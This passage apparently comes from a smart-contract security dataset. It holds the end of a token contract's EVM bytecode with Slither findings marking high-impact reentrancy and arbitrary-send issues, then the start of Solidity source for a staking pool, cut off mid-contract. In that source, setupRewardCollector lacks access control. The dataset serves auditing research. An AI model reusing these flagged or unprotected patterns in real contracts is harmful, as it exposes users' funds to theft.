fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f20464b494e552000000000000000000000000000000000000000000000000000815250905090565b60006109a061099961129e565b8484611471565b6001905092915050565b6109b261129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612f2a565b60405180910390fd5b60005b8151811015610af6576001600a6000848481518110610a8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aee90613300565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3b61129e565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b6000610b6630610782565b9050610b7181611d6e565b50565b610b7c61129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612f2a565b60405180910390fd5b600e60149054906101000a900460ff1615610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090612faa565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce830600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006112a6565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6691906128b7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0091906128b7565b6040518363ffffffff1660e01b8152600401610e1d929190612d7a565b602060405180830381600087803b158015610e3757600080fd5b505af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f91906128b7565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610782565b600080610f03610926565b426040518863ffffffff1660e01b8152600401610f2596959493929190612dcc565b6060604051808303818588803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f779190612a63565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff02191690831515021790555067016345785d8a0000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611079929190612da3565b602060405180830381600087803b15801561109357600080fd5b505af11580156110a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cb9190612a11565b5050565b6110d761129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115b90612f2a565b60405180910390fd5b600081116111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119e90612eea565b60405180910390fd5b6111d560646111c783670de0b6b3a764000061206890919063ffffffff16565b6120e390919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120c9190612fea565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611316576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130d90612f8a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611386576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137d90612eaa565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114649190612fea565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d890612f6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154890612e6a565b60405180910390fd5b60008111611594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158b90612f4a565b60405180910390fd5b61159c610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160a57506115da610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6d57600e60179054906101000a900460ff161561183d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e65750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117405750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183c57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178661129e565b73ffffffffffffffffffffffffffffffffffffffff1614806117fc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e461129e565b73ffffffffffffffffffffffffffffffffffffffff16145b61183b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183290612fca565b60405180910390fd5b5b5b600f5481111561184c57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f05750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fa5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a125750600e60179054906101000a900460ff165b15611ab35742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6257600080fd5b603c42611a6f9190613120565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611abe30610782565b9050600e60159054906101000a900460ff16158015611b2b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b435750600e60169054906101000a900460ff165b15611b6b57611b5181611d6e565b60004790506000811115611b6957611b6847611c94565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c145750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1e57600090505b611c2a8484848461212d565b50505050565b6000838311158290611c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6f9190612e48565b60405180910390fd5b5060008385611c879190613201565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cfc573d6000803e3d6000fd5b5050565b6000600654821115611d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3e90612e8a565b60405180910390fd5b6000611d5161215a565b9050611d6681846120e390919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcc577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfa5781602001602082028036833780820191505090505b5090503081600081518110611e38577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eda57600080fd5b505afa158015611eee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1291906128b7565b81600181518110611f4c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a6565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612017959493929190613005565b600060405180830381600087803b15801561203157600080fd5b505af1158015612045573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207b57600090506120dd565b6000828461208991906131a7565b90508284826120989190613176565b146120d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cf90612f0a565b60405180910390fd5b809150505b92915050565b600061212583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612185565b905092915050565b8061213b5761213a6121e8565b5b612146848484612219565b80612154576121536123e4565b5b50505050565b60008060006121676123f6565b9150915061217e81836120e390919063ffffffff16565b9250505090565b600080831182906121cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c39190612e48565b60405180910390fd5b50600083856121db9190613176565b9050809150509392505050565b60006008541480156121fc57506000600954145b1561220657612217565b600060088190555060006009819055505b565b60008060008060008061222b87612455565b95509550955095509550955061228986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236a81612564565b6123748483612621565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d19190612fea565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000670de0b6b3a7640000905061242a670de0b6b3a76400006006546120e390919063ffffffff16565b82101561244857600654670de0b6b3a7640000935093505050612451565b81819350935050505b9091565b60008060008060008060008060006124718a600854600561265b565b925092509250600061248161215a565b905060008060006124948e8787876126f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c30565b905092915050565b60008082846125159190613120565b90508381101561255a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255190612eca565b60405180910390fd5b8091505092915050565b600061256e61215a565b90506000612585828461206890919063ffffffff16565b90506125d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612636826006546124bc90919063ffffffff16565b6006819055506126518160075461250690919063ffffffff16565b6007819055505050565b6000806000806126876064612679888a61206890919063ffffffff16565b6120e390919063ffffffff16565b905060006126b160646126a3888b61206890919063ffffffff16565b6120e390919063ffffffff16565b905060006126da826126cc858c6124bc90919063ffffffff16565b6124bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061270a858961206890919063ffffffff16565b90506000612721868961206890919063ffffffff16565b90506000612738878961206890919063ffffffff16565b905060006127618261275385876124bc90919063ffffffff16565b6124bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278d6127888461309f565b61307a565b905080838252602082019050828560208602820111156127ac57600080fd5b60005b858110156127dc57816127c288826127e6565b8452602084019350602083019250506001810190506127af565b5050509392505050565b6000813590506127f5816136dd565b92915050565b60008151905061280a816136dd565b92915050565b600082601f83011261282157600080fd5b813561283184826020860161277a565b91505092915050565b600081359050612849816136f4565b92915050565b60008151905061285e816136f4565b92915050565b6000813590506128738161370b565b92915050565b6000815190506128888161370b565b92915050565b6000602082840312156128a057600080fd5b60006128ae848285016127e6565b91505092915050565b6000602082840312156128c957600080fd5b60006128d7848285016127fb565b91505092915050565b600080604083850312156128f357600080fd5b6000612901858286016127e6565b9250506020612912858286016127e6565b9150509250929050565b60008060006060848603121561293157600080fd5b600061293f868287016127e6565b9350506020612950868287016127e6565b925050604061296186828701612864565b9150509250925092565b6000806040838503121561297e57600080fd5b600061298c858286016127e6565b925050602061299d85828601612864565b9150509250929050565b6000602082840312156129b957600080fd5b600082013567ffffffffffffffff8111156129d357600080fd5b6129df84828501612810565b91505092915050565b6000602082840312156129fa57600080fd5b6000612a088482850161283a565b91505092915050565b600060208284031215612a2357600080fd5b6000612a318482850161284f565b91505092915050565b600060208284031215612a4c57600080fd5b6000612a5a84828501612864565b91505092915050565b600080600060608486031215612a7857600080fd5b6000612a8686828701612879565b9350506020612a9786828701612879565b9250506040612aa886828701612879565b9150509250925092565b6000612abe8383612aca565b60208301905092915050565b612ad381613235565b82525050565b612ae281613235565b82525050565b6000612af3826130db565b612afd81856130fe565b9350612b08836130cb565b8060005b83811015612b39578151612b208882612ab2565b9750612b2b836130f1565b925050600181019050612b0c565b5085935050505092915050565b612b4f81613247565b82525050565b612b5e8161328a565b82525050565b6000612b6f826130e6565b612b79818561310f565b9350612b8981856020860161329c565b612b92816133d6565b840191505092915050565b6000612baa60238361310f565b9150612bb5826133e7565b604082019050919050565b6000612bcd602a8361310f565b9150612bd882613436565b604082019050919050565b6000612bf060228361310f565b9150612bfb82613485565b604082019050919050565b6000612c13601b8361310f565b9150612c1e826134d4565b602082019050919050565b6000612c36601d8361310f565b9150612c41826134fd565b602082019050919050565b6000612c5960218361310f565b9150612c6482613526565b604082019050919050565b6000612c7c60208361310f565b9150612c8782613575565b602082019050919050565b6000612c9f60298361310f565b9150612caa8261359e565b604082019050919050565b6000612cc260258361310f565b9150612ccd826135ed565b604082019050919050565b6000612ce560248361310f565b9150612cf08261363c565b604082019050919050565b6000612d0860178361310f565b9150612d138261368b565b602082019050919050565b6000612d2b60118361310f565b9150612d36826136b4565b602082019050919050565b612d4a81613273565b82525050565b612d598161327d565b82525050565b6000602082019050612d746000830184612ad9565b92915050565b6000604082019050612d8f6000830185612ad9565b612d9c6020830184612ad9565b9392505050565b6000604082019050612db86000830185612ad9565b612dc56020830184612d41565b9392505050565b600060c082019050612de16000830189612ad9565b612dee6020830188612d41565b612dfb6040830187612b55565b612e086060830186612b55565b612e156080830185612ad9565b612e2260a0830184612d41565b979650505050505050565b6000602082019050612e426000830184612b46565b92915050565b60006020820190508181036000830152612e628184612b64565b905092915050565b60006020820190508181036000830152612e8381612b9d565b9050919050565b60006020820190508181036000830152612ea381612bc0565b9050919050565b60006020820190508181036000830152612ec381612be3565b9050919050565b60006020820190508181036000830152612ee381612c06565b9050919050565b60006020820190508181036000830152612f0381612c29565b9050919050565b60006020820190508181036000830152612f2381612c4c565b9050919050565b60006020820190508181036000830152612f4381612c6f565b9050919050565b60006020820190508181036000830152612f6381612c92565b9050919050565b60006020820190508181036000830152612f8381612cb5565b9050919050565b60006020820190508181036000830152612fa381612cd8565b9050919050565b60006020820190508181036000830152612fc381612cfb565b9050919050565b60006020820190508181036000830152612fe381612d1e565b9050919050565b6000602082019050612fff6000830184612d41565b92915050565b600060a08201905061301a6000830188612d41565b6130276020830187612b55565b81810360408301526130398186612ae8565b90506130486060830185612ad9565b6130556080830184612d41565b9695505050505050565b60006020820190506130746000830184612d50565b92915050565b6000613084613095565b905061309082826132cf565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ba576130b96133a7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061312b82613273565b915061313683613273565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316b5761316a613349565b5b828201905092915050565b600061318182613273565b915061318c83613273565b92508261319c5761319b613378565b5b828204905092915050565b60006131b282613273565b91506131bd83613273565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131f6576131f5613349565b5b828202905092915050565b600061320c82613273565b915061321783613273565b92508282101561322a57613229613349565b5b828203905092915050565b600061324082613253565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329582613273565b9050919050565b60005b838110156132ba57808201518184015260208101905061329f565b838111156132c9576000848401525b50505050565b6132d8826133d6565b810181811067ffffffffffffffff821117156132f7576132f66133a7565b5b80604052505050565b600061330b82613273565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333e5761333d613349565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136e681613235565b81146136f157600080fd5b50565b6136fd81613247565b811461370857600080fd5b50565b61371481613273565b811461371f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122008a4c74ce8b6e1f5737f4d89f8842b1bd1126a93d7b23b1e17c755fb0ee0930c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,223 |
0x72290D476BF8791df6Ea76400b75749845CAA1A5
|
/**
*Submitted for verification at Etherscan.io on 2021-02-24
*/
/* __________________________________________________________________________
STAKING POOL DETAILS |
1.StartTime : Starts immediately when deployed.
2.Reward Cycle : 7 days
3.StartTime and Reward Reset : Once someone notify reward after 7 days.
__________________________________________________________________________
-Codezeros Developers
-https://www.codezeros.com/
__________________________________________________________________________
*/
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account)
internal
pure
returns (address payable)
{
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call.value(amount)("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).add(value);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
contract LPTokenWrapper is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public APE_APE = IERC20(0x10B66bFF6600782116C266E3b1a5b8f9D951Ab87); // Must be changed with Presale
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
APE_APE.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
APE_APE.safeTransfer(msg.sender, amount);
}
}
contract Staking is LPTokenWrapper {
IERC20 public ape = IERC20(0x10B66bFF6600782116C266E3b1a5b8f9D951Ab87); // Must be changed with Presale
uint256 public constant duration = 7 days;
uint256 public starttime = block.timestamp; //-----| Starts immediately after deploy |-----
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
address public rewardCollector;
uint256 rewardAmount = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event Rewarded(address indexed from, address indexed to, uint256 value);
modifier checkStart() {
require(
block.timestamp >= starttime,
"ApeApe staking pool not started yet."
);
_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function setupRewardCollector(address _rewardCollector) public returns (bool) {
require(rewardCollector == address(0), "Reward Collector is already set");
rewardCollector = _rewardCollector;
return true;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
}
function withdraw(uint256 amount)
public
updateReward(msg.sender)
{
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
}
// withdraw stake and get rewards at once
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender){
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
ape.safeTransfer(msg.sender, reward);
}
}
function permitNotifyReward() public view returns (bool) { //-----| If current reward session has completed |---------
if(block.timestamp > starttime.add(duration)){
return true;
}
}
function calculateTenPercent(uint256 amount)
internal
pure
returns (uint256)
{
return amount.mul(100).div(1000);
}
